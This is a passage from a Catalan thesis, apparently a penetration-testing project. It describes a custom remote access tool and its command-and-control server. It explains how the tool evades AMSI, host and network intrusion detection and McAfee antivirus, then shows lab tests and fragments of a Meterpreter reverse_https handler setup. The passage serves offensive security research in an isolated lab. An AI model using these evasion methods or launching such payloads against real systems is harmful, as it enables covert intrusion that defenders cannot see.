eines de seguretat disponible, entre les que s’inclou AMSI. Com s’implementa
'evasio d’AMSI? Bé, existeixen moltes maneres d’evadir la deteccié d’AMSI.
No obstant, en aquest projecte s’ha optat per I'execucié de codi que suposa
una amenaga per a la seguretat del sistema directament en memoria.

AcO és degut a que les versions anteriors a la 4.8 de .NET Framework no
realitzen una analisi del buffer de memoria que es carrega a I'utilitzar la funcié
Assembly.Load(Byte[]) [10]. A¢co permet que el codi maliciés pugui carregar-se i
executar-se directament en memoria sense que el programari antimalware
I'analitze per tal de determinar si conté alguna amenaca per a la seguretat,
sempre i quan la versié de .NET Framework sigui menor que 4.8, la qual cosa
€s molt habitual.

5.4.2 HIDS

El concepte HIDS fa referéncia a Host-based Intrusion Detection System.
Basicament, es tracta d’'un programari la funcié del qual és revisar les activitats
d’una maquina en busca d’anomalies. En el cas que aquestes anomalies
suposen un risc potencial per al sistema, aquest és capac¢ de prendre mesures
per tal de protegir la seguretat del sistema.

Aquests sistemes son capacos de detectar canvis en determinats fitxers
del sistema, o registres, unitats de xarxa, etc. A més, també poden detectar
dins del propi sistema les firmes de programari maliciés ja conegut. A¢o suposa
que, en el moment que alguna solucié de seguretat catalogui 'Agent com a
programari maliciés, generi una firma de deteccié d’aquest i la transmeti a les
altres solucions de seguretat, qualsevol HIDS implantat a qualsevol maquina
sera capag d’identificar i prendre mesures sobre I'executable de I'Agent.

Una bona forma d’evitar que es puguin obtenir firmes de deteccié de
I'executable és dissenyar i implementar un programari mutable. Per al
desenvolupament del projecte, considerem mutable aquell executable que és
capag de canviar la seua “aparencga” o “forma” davant d’'un HIDS, encara que
no ho faci automaticament.

Per tal de dotar a ’Agent d’aquesta capacitat de mutar, en aquest projecte
s’ha utilitzat la programacié modular, que, com ja s’ha explicat, consisteix en
dissenyar la solucié de tal forma que les seues funcionalitats estiguin
separades en diferents moduls i que aquests siguin independents de la seua
implementacio. Aquesta independéncia el que permet és la reimplementacio o
modificacié de qualsevol modul de 'Agent.

Amb aquesta capacitat d’intercanviar els diferents moduls s’entén que
I'executable és mutable, ja que pot ser recompilat havent substituit la
implementacié d’'un o més moduls d’aquest, evadint aixi la deteccié basada en
firmes que aplica un HIDS. Per exemple, si una solucié de seguretat marca
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com a malicids I'executable i la firma de deteccio inclou el seu hash MD5, si es
modifica la implementacié d’'un modul i es recompila I'executable el seu hash
MDS5 sera diferent, aconseguint aixi evitar la deteccié d’'un HIDS.

5.4.3 NIDS

El concepte NIDS fa referéncia a Network-based Intrusion Detection
System. A I'igual que els HIDS, la funcié d’aquests també consisteix en la
identificacié d’anomalies, perd en aquest cas a la xarxa. Un sistema NIDS
analitza, en temps real, tot el trafic de xarxa i és capac de detectar atacs de
denegacié de servei, escanejos de ports, intents d’explotacié de vulnerabilitats,
etc.

Existeixen dos tipus diferents de sistemes NIDS: els basats en regles i els
basats en anomalies. Els primers disposen, a I'igual que els HIDS, en un
conjunt extensible de regles de deteccid i, basicament, el que fan és buscar
coincidéncies entre aquestes regles i el trafic de xarxa que estan analitzant.
Donat que aquests només comproven regles per a detectar amenaces ja
conegudes, no son capacgos d’identificar atacs o intrusions que utilitzen noves
técniques que no hagen sigut firmades encara.

Els segons, en canvi, no disposen d’aquest conjunt de coneixement, sin6
que son capacos d’aprendre I'estat normal d’'una xarxa i, a partir d’eixa
informacio, buscar anomalies en el comportament o I'estat d’aquesta. Per
exemple, si en una oficina no es treballa mai diumenge i de sobte un diumenge
es registra trafic de xarxa entre X equips, un NIDS basat en anomalies
registraria aquesta activitat i generaria una alerta. En canvi, un NIDS basat en
regles, si no disposa d’una regla especifica que identifiqui aquest
comportament, el sistema no seria capag d’identificar-lo per ell mateix.

Per tal d’evadir la deteccio per qualsevol dels tipus de sistema de deteccio
d’intrusos basat en xarxa, s’han aplicat diferents técniques al disseny i
implementacio de la solucié desenvolupada en aquest projecte. En primer lloc,
per tal d’evitar que un NIDS sigui capag¢ d’analitzar el contingut del trafic de
xarxa intercanviat entre el servidor de comandament i control i 'Agent, les
comunicacions s’han implementat mitjangant una connexié SSL. Com que el
trafic de xarxa esta xifrat d’extrem a extrem, un NIDS que intercepti aquest
trafic no sera capag d’entendre’l i analitzar-lo degut a que esta xifrat.

No obstant, existeixen organitzacions que “trenquen” el trafic SSL. Es a
dir, el trafic de xarxa que utilitza SSL es xifra entre la maquina client i el NIDS.
Aquest el desxifra, I'analitza, el torna a xifrar i I'envia a la seua destinacio. Aixi
s’aconsegueix que el NIDS pugui analitzar tot el trafic de la xarxa, estigui xifrat
o no. En aquest cas, per tal d’evitar generar anomalies que puguin fer sospitar
a un NIDS del trafic intercanviat entre el servidor de comandament i control i
I’Agent, aquests simulen una comunicaciéo HTTP normal i corrent. S’ha camuflat
el trafic amb aquest protocol perque és el que major percentatge d’aparicio té
en una xarxa normal.

A més, per tal d’evitar la generacié de firmes que puguin identificar i
marcar aquest trafic, s’ha implementat de tal forma que les peticions realitzades
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per I’Agent al CnC incorporen un camp generat aleatoriament. Ago dificulta,
encara que no impossibilita, la creacio de regles que puguin diferenciar
propietats de la comunicacio entre 'Agent i el CnC i puguin ser utilitzades per a
detectar I'activitat d’'un Agent a la xarxa.

Per ultim, i donat que molts NIDS son capacos d’identificar i detectar
executables o codi malicids en el contingut dels diferents paquets interceptats
s’ha implementat el xifrat de la informacié transmesa entre el servidor de
comandament i control i ’Agent mitjangant una clau simétrica establida entre
aquests. Aixi doncs, d’aquesta forma s’aconsegueix obtenir els avantatges que
proporciona I'is de SSL encara que I'organitzacio estigui aplicant el trencament
d’SSL, ja que en aquest cas el xifrat s’aplica d’extrem a extrem (Agent-CnC).
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6 Proves

Degut a I'aplicacio del procés de desenvolupament iteratiu i incremental,
part del procés de prova de la solucié es realitza en paral-lel al propi
desenvolupament d’aquesta. Es a dir, mentre van desenvolupant-se cadascuna
de les funcionalitats del sistema aquestes van provant-se i validant-se. Per tal
de donar una visi6é general d’aquest procés de proves, aquest apartat es
divideix en dos subapartats: el primer parla sobre I'entorn de proves sobre el
que es valida la solucid i el segon sobre les principals proves que s'han
realitzat.

6.1 Entorn de proves

Per a les proves de la solucio proposada s'utilitzen dos entorns diferents,
un per al component Agent i I'altre per al servidor de Comandament i Control.
Com que el projecte busca obtenir una eina de control remot per a maquines
Windows, ambdds entorns de prova sén Windows, com cabia esperar.

6.1.1 Sistema

En el cas de I'Agent, que, recordem, és el component que s'executa a la
maquina victima, s'ha decidit realitzar les proves sobre una maquina virtual
Windows 10 actualitzada a la ultima versio. Aquesta esta connectada a una
subxarxa local que no té connexio a Internet.

S'ha decidit utilitzar aquest sistema operatiu perqué és el més nou ofert
per Microsoft i €s el més utilitzat entre les organitzacions i particulars.
S'impedeix que la maquina tingui connexié a Internet amb la finalitat d'evitar
que pugui enviar mostres dels arxius analitzats per I'antivirus a Microsoft. Ago
€s convenient ja que el sistema desenvolupat esta pensat per a utilitzar-se en
projectes de test d’intrusié al mon laboral i, per aix0, es juga amb un avantatge
si Microsoft, o qualsevol altre proveidor de serveis de seguretat, no disposa de
firmes de la solucié desenvolupada.

Per a les proves del servidor de Comandament i Control s'ha decidit
emprar una altra maquina virtual Windows Server 2012 R2, també connectada
a la mateixa subxarxa que la maquina Windows 10 amb la finalitat de que
tinguin visibilitat entre elles. S'ha decidit utilitzar aquest sistema operatiu a
pesar de que no és el més actual degut a que ja s'havia treballat amb ell
anteriorment i suposava un avantatge coneixer un poc més del seu
funcionament. A més, i com que no forma part dels objectius del projecte,
treballar amb aquest sistema operatiu ha facilitat la configuracié del mateix
degut al coneixement previ que ja es tenia sobre aquest.

41



6.1.2 Antivirus

En quant a la soluci6 de seguretat, o antivirus, utilitzada per a les proves
s'ha emprat McAfee Endpoint Security with Adaptative Threat Protection versio
10.6.0. S'ha decidit utilitzar aquesta ferramenta ja que ofereix una versio
gratuita de prova i és també una solucié ampliament utilitzada a les
organitzacions, tal i com s'ha pogut comprovar amb I'experiéncia com a
professional de la seguretat.

Aquesta solucié de seguretat s'ha instal-lat a la maquina Windows 10 amb
la finalitat de comprovar si el component Agent és capag d'evadir la deteccié de
I'antivirus. A més de I'analisi d’arxius, McAfee Endpoint Security incorpora altres
eines de seguretat, com per exemple el firewall o I'eina de control de contingut
web. Aquestes es poden veure i configurar al panell d’administracié de
I'antivirus, que és el que es mostra a continuacio.

[ McAfee Endpoint Security

U NCAfee Q, Analizar sistema ¥ Actualizar ahora

PREVENCION DE AMENAZAS Estado: Activado

Estado
FIREWALL Estado: Activado

@ CONTROL WEB Estado: Activado
Registro de
eventos
Resumen de amenazas
& Ninguna amenaza detectada en los ultimos 30 dias.
Cuarentena Principales vectores de amenaza en los dltimos 30 dias

Numero de amenazas

0

Vector

Ninguna amenaza detectada en los Ultimos 30 dias.

II-lustracio 21: Panell d'administracio de I'antivirus McAfee

Alguns aspectes rellevants de la configuracié de I'antivirus son:
e Analisi en temps real
e Prevenci6 d’exploit

¢ Integracié amb AMSI
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6.2 Proves de funcionament

Sobre les proves de funcionament de la solucié cal comentar que s’han
intentat comprovar tots els casos de prova possible. A continuacio s'enumeren
els més significants, agrupats pel tipus de component al qual afecten. A més,
s’afegeix un ultim subapartat que recull els resultats de les diferents proves,
evidenciant el correcte funcionament del sistema implementat.

6.2.1 Agent

Per al component Agent s’han realitzat les seguents proves:

6.2.2 CnC

Primera execucid: cal comprovar que genera correctament el seu
identificador i el guarda a la clau de registre corresponent

Execucions posteriors: cal comprovar que l'identificador que
s'assigna i envia és el mateix que va generar a la primera execucio
i que esta guardat al registre de Windows

Execucio d'accions: cal comprovar que realment s'executen les
accions a la maquina victima (Windows 10), per exemple, obrint
una finestra del navegador, etc.

Primera execucioé: cal comprovar que es crea i s'inicialitza la base
de dades

Execucions posteriors: cal comprovar que carrega
adequadament la informacié de la base de dades

Execucio d'accions: cal comprovar que el servidor de
comandament i control obté el resultat de les accions executades
als Agent i el guarda correctament a la base de dades

6.2.3 Comunicacions

Cal comprovar que les comunicacions, per defecte, s’estableixen
sobre un canal segur, HTTPS, i que no es pot coné&ixer el contingut
d’aquesta comunicacio perqué aquesta esta xifrada, degut a la
utilitzacié del protocol SSL

Cal comprovar el format de les peticions i respostes que
s'intercanvien els components és el correcte i que no és possible
coneéixer el contingut perqué esta xifrat amb la criptografia de clau
simétrica, per exemple, utilitzant el protocol HTTP i interceptant el
trafic
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6.2.4 Evidéncies

La presentacio de les diferents evidéncies esta ordenada de forma que
resulti senzill entendre el funcionament del sistema. Cal recordar que I'execucio
del component Agent s’ha realitzat amb l'antivirus deshabilitat per tal d’evitar
interferéncies en les proves de funcionament.

En primer lloc, després de I'execucié del component Agent, es pot veure a
la seguent captura de pantalla que aquest guarda (o consulta, si no és la
primera execucio) al registre de Windows el seu identificador.

B Editor del Registro
Archive Edicion Ver Favoritos Ayuda
Equipo\HKEY_CURRENT_USER\Software\RATpenat

v D Equipo Nombre Tipo Datos
HKEY CLASSES ROOT

ﬁ ab| (Predeterminado) REG SZ (valor no establecido

e CORRENTUSER ab] D REG_SZ 565de5c3-45a2-Adfc-b0b9-69f395406341)
AppEvents

Console

Control Panel

Environment
EUDC
Keyboard Layout
i Printers
v Software
- | AppDatalow
: Classes
Google
Microsoft
Policies

. QtProject
RegisteredApplicatior

Wireshark
Wowb432Node

ll-lustracié 22: Registre de la maquina victima amb l'identificador de I'Agent

Veiem a la base de dades del component CnC, el servidor de
comandament i control, que ha quedat registrat 'Agent amb I'identificador que
es pot observar a I'anterior imatge i que disposa ja d’'una clau simétrica,
codificada en format Base 64.

El DB Browser for SQLite - C:\Users\Administrador\source\repos\RATpen
Archivo Editar Ver Herramientas Ayuda

© Nueva base de datos & Abrir base de datos . ] Guardar cambios Z Deshacer cambios £ Abrir proyecto [=] Guardar proye

Estructura | Hojadedatos | Editar pragmas | Ejecuter SQL |

Tabla: lJagent VI l;] Borrar registro
id alias shared_key active last_req
|F|Itro IF|Itro IF|Itro Filtro IF|Itro
1 565deS5c3-45a2-4dfc-b0b9-... 9TQAHSYTpx/3r2ewpAvSMful... 1 2019-04-29 00:09:05
2 578bc806-4a98-4b37-b755... SCIfI2Pj8gNylzayHHT T9ZI4tHx... 1 2019-04-29 00:20:59

ll-lustracié 23: Registre de I'Agent a la base de dades del CnC
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Una vegada introduida alguna ordre per a que un determinat Agent
I'executi, aquesta s’emmagatzema a la base de dades, com es mostra a una
imatge que es comenta més endavant. Quan ’Agent demana les accions que
té pendents d’executar, a aquesta entrada de la base de dades se li assigna un
identificador i s’envia a I’Agent, el qual I'executa, com es pot comprovar a la
seguent captura de pantalla.

PajShared key: 9TQAHS5YTpx/3r2ewpAvSMfuUuEmiINLEbIQeYur/R8g=
riuredekbuxoo

Mensaje desde Dani Pedrés 29/04/2019 2:15 X

Missatge de prova

Aceptar

IlI-lustracié 24: Execucié correcta d'una accié enviada pel CnC

A l'anterior evidéncia, a més de comprovar que 'ordre s’executa
correctament a la maquina victima, es pot observar a la consola de darrere la
clau derivada amb el component CnC. Si es consulta la segona evidéncia
d’aquest apartat, es pot comprovar que el component CnC té la mateixa clau
guardada a la base de dades i associada a aquest Agent.

A la seguent captura de pantalla es pot observar la recepcio, per part del
component CnC, del resultat de I'execucié d’una accié a un segon Agent. A la
imatge s’observen les diferents peticions que rep el component CnC de 'Agent,
on aquest li consulta si disposa d’alguna accio per a executar. Marcada en roig
apareix la peticioé d’accio on s’envia a 'Agent I'acci6 a executar, seguida de la
peticio6 POST on I’Agent envia el resultat de I'execucié d’aquesta al CnC i, per
ultim, I'escriptura a la consola del resultat.

Recordar que la consola que es mostra a la imatge és la del servidor CnC
i no la de I’Agent on s’executen les ordres, la qual cosa evidéncia la correcta
recepcio per part del CnC dels resultats de I'execucio de les accions als
diferents Agents.
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i C\Users\Administrador\source\repos\RATpenat\CnC\bin\Debug\CnC.exe |L]i-_

: /54eumkx1gbd
: /coyBhluccva
: /ceheoB2vrbm
: /gmbhdwlifihg
: /btobkuxunxm
: /lusgtoczjhj
: /xnyylt3aced
= /dkthhrja2ye
: /ollzmegkszk
: /hyc3cczj4li
= /ukcd4idhtdnc
: /ueggdWeoymm
: /result/ueggdBeoymm

ction id: ueggdBeoymm; result: desktop—lmmbhpeNdani pedréds

: Zugxp2112svi
: /lcruwdgjn2uy
: /zjctyfchasc
: /z2cpxgkuuic
: /e3mS5hhuwlhll
: /22a208j1fded
: /2orfchizury
: /silrunelyyft
: /3lelgyjus4u
: /3Ixup2ay52s3

ll-lustracio 25: Peticions rebudes al CnC i resultat d'execucié d'una accié

A la seguent evidéncia es demostra que el resultat de les accions es
guarda correctament a la base de dades, a I'espera de que la Consola llegeixi
aquest resultat. Aixi doncs, també s’observa la correcta associacio entre I'Agent
que I'executa, I'identificador de I'accid, quina accio és i I'indicador de si ja ha
estat completada o no.

= DB Browser for SQLite - C:\Users\Administrador\source\repos\RATpen

-

Archivo Editar Ver Herramientas Ayuda

© Nueva base de datos & Abrir base de datos Guardar cambios Deshacer cambios i) Abrir proyecto [=] Guardar proye

Estructura Hoja de datos Editar pragmas ‘ Ejecutar SQL

Tabla: ’ command_history v‘ T
’ agent action_id command completed result
[Filtro [Filtro [Filtro Filtro [Filt

1 565de5c3-45a2-4dfc-b0... lunrogbxojd cmd msg "%username%... 1
2 578bc806-4a98-4b37-b... gOc4gdy2gvy cmd whoami 1 desktop-Immbhpe\dani pedrds

ll-lustracio 26: Resultat de I'execucié d'accions a la base de dades

En aquesta ultima evidéncia es pot comprovar que I'identificador de I'accid
es correspon al vist a les peticions de I'evidéncia quarta, aixi com també que el
resultat de I'execucié és el mateix que hi apareix en aqueixa evidéncia. Amb
aquests exemples s’ha demostrat el correcte funcionament del sistema.

No obstant, és possible aprofundir més encara en la comprovacié del
correcte funcionament de la solucid. Per a aixo cal enfocar les proves des de la
perspectiva de la comunicacio entre 'Agent i el CnC. A les seguents evidéncies
es mostren els detalls de la comunicacié interceptada entre aquests dos
components.
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En primer lloc es mostra que la comunicacié es realitza completament
mitjancant HTTPS i, per tant, és impossible veure el contingut d’aquesta. A la
seguent captura de pantalla es mostra la comunicacio establida entre 'Agent
(amb IP 192.168.150.5) i el servidor CnC (amb IP 192.168.150.10), on es veu
clarament I'establiment de la connexié TCP, el Hello del protocol SSL i, a partir
d’aci, paquets amb informacié d’aplicacid, que no és més que informacié que
WireShark no és capac d’interpretar perquée esta xifrada.

"Ethernet
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

dms0 IpRB Res=F sEEHaaan

[ W Ttep.port == 8443

No. Time Source Destination Protocol Length Info

— 7 5.959119 192.168.150.5 192.168.150.10 TCP 66 49677 » 8443 [SYN] Seq=0
8 5.959547 192.168.150.10 192.168.150.5 TCP 66 8443 » 49677 [SYN, ACK] !
9 5.959617 192.168.150.5 192.168.150.10 TCP 54 49677 » 8443 [ACK] Seg=1
10 5.967400 192.168.150.5 192.168.150.10 TLSv1.2 201 Client Hello
11 5.969446 192.168.150.10 192.168.150.5 TLSv1.2 1167 Server Hello, Certificat
12 5.973082 192.168.150.5 192.168.150.10 TLSv1.2 236 Client Key Exchange, Cha
13 5.975049 192.168.150.10 192.168.150.5 TLSv1.2 161 Change Cipher Spec, Encr
23 6.002594 192.168.150.5 192.168.150.10 TLSv1.2 459 Application Data
24 6.803851 192.168.150.10 192.168.150.5 TLSv1.2 155 Application Data
25 6.884585 192.168.150.5 192.168.150.10 TLSv1.2 315 Application Data
26 6.024286 192.168.150.10 192.168.150.5 TLSv1.2 379 Application Data
27 6.830520 192.168.150.5 192.168.150.10 TLSv1.2 363 Application Data
28 6.036714 192.168.150.10 192.168.150.5 TLSv1.2 635 Application Data
29 6.860158 192.168.150.5 192.168.150.10 TLSv1.2 379 Application Data
30 6.063019 192.168.150.10 192.168.150.5 TLSv1.2 251 Application Data

ll-lustracié 27: Trafic HTTPS entre Agenti CnC

Per tal d’evidenciar I'estructura de les peticions que realitza el component
Agent i les respostes del CnC, s’han modificat aquests per a que estableixin la
comunicacio mitjangant HTTP en lloc de HTTPS. Al no estar xifrades les
peticions, a la seglent captura de pantalla és possible identificar les diferents
peticions HTTP explicades al capitol d'implementacio.

Es poden observar tots els tipus d’interaccio definits. Després de
I'establiment de connexié TCP es pot veure la peticio POST per a I'establiment
de la clau simétrica de xifrat. Seguidament, una peticié6 GET on es demana la
configuracio que I'’Agent ha d’aplicar. |, per ultim, a partir d’aquest punt, un
bucle de peticions a un recurs aleatori que serveix com a identificador de la
possible accié a executar.

Amb aquesta evidéncia es demostra que la solucié implementada
compleix amb els detalls d’'implementacié detallats en aquest capitol. Des dels
diferents passos definits fins a I'estructura de cada peticid i resposta
intercanviades per aquests components, la solucié implementada s’ajusta al
detall de la solucié proposada.
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J*Ethernet
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

Am e [IBREBIes=>2EF LS EQQAQHT

[\ | Itcp.port == 8443

No. Time Source Destination Protocol Length Info

— 5 9.458396 192.168.150.5 192.168.150.10 TCP 66 49674 » 8443 [SYN] Seq=0 Win=64:

| 6 9.458797 192.168.150.10 192.168.150.5 TCP 66 8443 > 49674 [SYN, ACK] Seq=0 Ac
7 9.458850 192.168.150.5 192.168.150.10 TCP 54 49674 > 8443 [ACK] Seq=1 Ack=1 }
8 9.459134 192.168.150.5 192.168.150.10 TCP 388 49674 » 8443 [PSH, ACK] Seq=1 Ac
9 9.460161 192.168.150.10 192.168.150.5 HTTP 79 HTTP/1.1 108 Continue
10 9.460452 192.168.150.5 192.168.150.10 HTTP 242 POST /hello HTTP/1.1
11 9.488331 192.168.150.10 192.168.150.5 HTTP 302 HTTP/1.1 200 OK
12 9.498221 192.168.150.5 192.168.150.10 HTTP 279 GET /conf HTTP/1.1
13 9.503238 192.168.150.10 192.168.150.5 HTTP 552 HTTP/1.1 208 OK
14 9.528450@ 192.168.150.5 192.168.150.10 HTTP 296 GET /uc@duk3ucyt HTTP/1.1
15 9.535435 192.168.150.10 192.168.150.5 HTTP 180 HTTP/1.1 282 Accepted
16 9.586798 192.168.150.5 192.168.150.10 TCP 54 49674 > 8443 [ACK] Seq=99@ Ack={
18 14.541637 192.168.150.5 192.168.150.10 HTTP 296 GET /fehllf2wyj2 HTTP/1.1
19 14.544994 192.168.150.10 192.168.150.5 HTTP 180 HTTP/1.1 282 Accepted
20 14.587193 192.168.150.5 192.168.150.10 TCP 54 49674 » 8443 [ACK] Seq=1232 Ack:
22 19.556982 192.168.150.5 192.168.150.10 HTTP 296 GET /ercxpfznx2l HTTP/1.1
23 19.561258 192.168.150.10 192.168.150.5 HTTP 180 HTTP/1.1 2082 Accepted
24 19.602109 192.168.150.5 192.168.150.10 TCP 54 49674 > 8443 [ACK] Seq=1474 Ack:
26 24.571429 192.168.150.5 192.168.150.10 HTTP 296 GET /vyd3ixkqljh HTTP/1.1
27 24.575191 192.168.150.10 192.168.150.5 HTTP 180 HTTP/1.1 202 Accepted
28 24.618960 192.168.150.5 192.168.150.10 TCP 54 49674 - 8443 [ACK] Seq=1716 Ack-
29 29.586971 192.168.150.5 192.168.150.10 HTTP 296 GET /vqws@4rSeny HTTP/1.1
30 29.589519 192.168.150.10 192.168.150.5 HTTP 180 HTTP/1.1 2@2 Accepted
31 29.633559 192.168.150.5 192.168.150.10 TCP 54 49674 > 8443 [ACK] Seq=1958 Ack:

.837370 . . . . -] 54 49674 > 8443 [RST, ACK] Seq=195{

ll-lustracié 28: Prova de trafic HTTP entre Agenti CnC

La intercepcié de trafic HTTP permet inspeccionar el contingut de
cadascuna d’aquestes peticions. Per tal de demostrar que s’aplica
correctament el xifrat de la informaci6 que es transmeten Agent i CnC es pot
accedir a la resposta a la peticio GET /conf, on el servidor CnC envia a I'Agent
la configuracioé que aquest ha d’aplicar.

Si es consulta el body d’aquesta peticio es pot comprovar que conté
informaci6 que , aparentment a simple vista, no té ningun sentit. A¢o és degut a
que, a pesar que s’ha forcat I'is d’'HTTP per a que no es xifren les
comunicacions, la informacié que comparteixen I’Agent i el CnC es xifra amb la
clau simétrica que aquests dos components han establert en primer lloc.

Es poden veure el contingut de les capgaleres HTTP, perd no es pot
obtenir la informacid, en aquest cas, de la configuracié transmesa. D’igual
manera, tampoc podria obtenir-se la informacid relativa a les accions a
executar per part d’'un Agent o al resultat de I'execucié d’aquestes.

Amb aquesta ultima evidéncia es demostra que la informacié utilitzada
tant pels Agent com pel CnC es xifra utilitzant la clau compartida entre aquests.
AcO proporciona la seguretat de que, encara que la solucié de defensa tingui la
capacitat de trencar el tunel segur HTTPS, aquesta no podra conéixer de
ninguna manera la informacié que es transmeten ambddés components. Ago
permet minimitzar les possibilitats de que un NIDS, per exemple, detecti eines
sospitoses circulant per la xarxa.
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M Wireshark - Packet 13 - Ethernet

> Frame 13: 552 bytes on wire (4416 bits), 552 bytes captured (4416 bits) on
> Ethernet II, Src: PcsCompu_7c:39:da (@8:00:27:7c:39:da), Dst: PcsCompu_ca:é
> Internet Protocol Version 4, Src: 192.168.150.10, Dst: 192.168.150.5

> Transmission Control Protocol, Src Port: 8443, Dst Port: 49674, Seq: 274, !
v = .

1 rer P

: 352\r\n
Server: Microsoft-HTTPAPI/2.0\r\n
Set-Cookie: LlaudNdsGQGzCaMD89Crbg==3r\n
Date: Mon, 29 Apr 2819 ©3:00:13 GMT\r\n
\r\n

[HTTP response 3/8]

[Time since request: ©.085017000 seconds]

[Prev request in frame: 18]

Prev response in frame: 11

[Request in frame: 12]

[Next request in frame: 14]

[Next response in frame: 15]

[Request URI: http://192.168.150.10:8443/vqws@4rseny]

File Data: 352 bytes

Vv Data (352 bytes)

Data: 3b33616791a97ba7465ae77e08f2bb23dc@424ec107564b91...
[Length: 352]

20co 47 4d 54 ed
00de
20e0
eofe
9100
0110
9120
9130
9140 .
0150 : -=?R--R. -dW--x{-
2160 . cee cub'X[--
0170
0180
9190
91a0
21bo
91co

Il-lustracié 29: Configuracioé xifrada al body d'una resposta HTTP

6.3 Proves de deteccio

En aquest apartat es parla de les proves realitzades per tal d’evidenciar
que la solucié desenvolupada evadeix efectivament la deteccié de 'antivirus. El
primer subapartat se centra en comprovar que no salta ninguna alerta a
I'antivirus instal-lat quan s’executa ’Agent a la maquina victima i aquest es
comunica amb el servidor de comandament i control. El segon subapartat
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presta atencié a comprovar que és possible executar eines externes
detectables per 'antivirus, sense que aquestes siguin detectades.

6.3.1 Execucié de I'agent

Per tal de demostrar que el component Agent de la solucié implementada
no és detectable per I'antivirus, en primer lloc s’ha realitzat una analisi sobre
I'executable generat. Al menu contextual (boté dret del ratoli) s’ha seleccionat
I'opcio oferta per McAfee i s’ha realitzat una analisi del binari. El resultat
d’aquesta analisi ha resultat negatiu, tal i com es mostra a la seglent captura
de pantalla, la qual cosa demostra que I'executable pot emmagatzemar-se en
disc sense que 'antivirus detecti ninguna amenaca de seguretat.

[E

U McAfee Endpoint Security

Analizar en busca de amenazas .

Analisis completo.

Elementos analizados: 1
Tiempo transcurrido: 7 segundos

Detecciones: 0

Nombre de deteccion Tipo Archivo Accion tomada

ll-lustracié 30: Resultat negatiu de I'analisi d'amenaces de I'Agent

No obstant, les eines antivirus actuals son capaces de realitzar analisi
dinamiques durant I'execucio dels diferents programes de I'equip. Aixi doncs,
per tal de demostrar que la propia execucié del component Agent, aixi com la
comunicacio que estableix amb el servidor de comandament i control, no
desperten sospita per a I'antivirus, s’ha realitzat una execucié d’aquest
component i s’ha deixat que interactui un temps amb el CnC mentre es revisen
els events de I'antivirus.

Tal i com es pot observar a la seglient captura de pantalla, I'execuci6 de
I’Agent no ha fet saltar ninguna alerta a I'antivirus. A la part superior es pot
observar que el component esta funcionant amb normalitat i ha obtingut la clau
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de xifrat compartida amb el CnC. A la part inferior s’observa 'hora actual en la
que s’ha realitzat I'execucié. | a la part central es distingeixen les ultimes alertes
identificades per 'antivirus. Es pot veure que aquestes alertes corresponen a
altres proves realitzades 20 minuts abans, demostrant aixi que I'execucié de
I’Agent tampoc desperta ninguna sospita a I'antivirus.

U McAfee Endpoint Security

U HCAfee Q, Analizar sistema

Q Numero de eventos: 30 er directorio de registros
Estado Mostrar todos los eventos v Biecas
Eventos por pagina: | 20 v Pagina| 1 de2 Ir

Pégina siguiente

Registro de Fecha v | Funcion Accién tomada Gravedad

eventos
Critico
S
Critico

Prevencion de amenazas: AMSI Bloqueana Critico

Blogueania

29/5/2019 23:20

& 29/5/2019 23:20

Cuarentena 29/5/2019 23:18

Prevencion de amenazas: Bloqueana

Prevencion de amenazas: Analisis en tiempo r... Eliminar Critico
29/5/2019 22:27 Prevencion de amenazas: Prevencion de expl.. Bloqueana Critico

29/5/2019 22:27 Prevencion de amenazas: Prevencion de expl.. Bloqueana Critico

9/5/2019 22:27 Prevencion de amenazas: Prevencion de expl.. Blogueana Critico

Se ha detectado la amenaza ExP:lllegal AP| Use como un intento de explotar
C:\WINDOWS\SYSTEM32\WINDOWSPOWERSHELL\V1.0\POWERSHELL.EXE, que tenia como
objetivo la API VirtualProtect. No se bloqued porque Prevencion de exploit estaba
establecido en Solo informar.

Analizador / Detector

23:41

A = T 0052019 SN

ll-lustracié 31: Execuci6 de I'Agent i consola d'events de I'antivirus

6.3.2 Execucio d’eines externes

Una vegada demostrat que és possible emmagatzemar el component
Agent en disc i executar-lo sense que sigui detectat com a una amenaga per
I'antivirus, en aquest subapartat es demostra que és possible executar eines
externes. Aquestes eines poden ser detectables per I'antivirus. No obstant, es
demostra que executant-les mitjangcant ’Agent, s’aconsegueix evadir la
deteccié d’aquestes.

En primer lloc s’ha afegit una tercera maquina a la xarxa de proves. Es
tracta d’'una maquina Debian 9 de 64 bits, la qual s’utilitza per a executar la part
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servidor de I'eina externa. S’ha decidit utilitzar com a eina externa un
Meterpreter, I'eina de control remot del framework Metasploit. Aquesta decisio
s’ha pres per diversos motius: ja es disposava de coneixements en I'Us
d’aquesta, és una eina molt completa i utilitzada en entorns reals i €s una eina
que tots, o quasi tots, els antivirus identifiquen, eliminen i alerten.

Per tal de demostrar que aquesta eina és facilment detectable pels
antivirus, s’ha generat un executable que inclou aquesta eina i s’ha deixat a la
maquina victima, la qual incorpora I'antivirus. Tal i com es pot veure a la
seguent captura de pantalla, I'antivirus ha detectat i eliminat 'amenaca tant de
la seua ubicacié com de la paperera de Windows.

Analisis en tiempo real Cerrar

McAfee Endpoint Security ha detectado una amenaza.

2 Detecciones

Eliminar entrada Ver directorio de registros

} Buscar
Fecha Nombre de deteccion  Tipo Archivo Accion tomada |

Pagina 1 de 2 Ir
29/5/2019 23:42 Swrort.i Troyano Eliminar

29/5/2019 23:42 P— I i

Pégina siguiente »

Gravedad

Critico I

Critico

Critico

Critico

29/5/2019 23:18 Prevencion de amenazas... Eliminar Critico

29/5/2019 22:27 Prevencion de amenazas... Blogueana Critico

DESKTOP-LMMBHPE\Dani Pedrds ejecutd C:\Windows\explorer.exe, que intentd acceder a
C:\Users\Dani Pedros\Desktop\meterpreter.exe. El tipo de amenaza Troyano denominado
wrort.i fue detectado y eliminado.

Analizador / Detector

Fecha de creacidn de contenido del analizador 29/5/2019 08:23

llI-lustracié 32: Deteccié de Meterpreter per I'antivirus

Aquest Meterpreter identificat i neutralitzat per I'antivirus es tracta d’'un
payload de tipus reverse_https. A la maquina Debian s’ha utilitzat aquest
payload per a posar a I'escolta un handler que espera les connexions de la
maquina victima. A la seguent captura de pantalla es pot observar la
configuracio basica d’aquest i, senyalada amb una fletxa roja, I'ordre que ha
d’executar-se a la maquina victima per tal de connectar amb la maquina
atacant.
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MMMMMMM  MMMM&
MMMMM
MMMM ™
MM?

set LPORT 8443

run -j

i.
un the followin fm t ta achine:
rundl '

sf5 exploit{windows/smbh/smb

BORFyEE @ OO @ Left

llI-lustracié 33: Configuracié i arranc del handler de Meterpreter

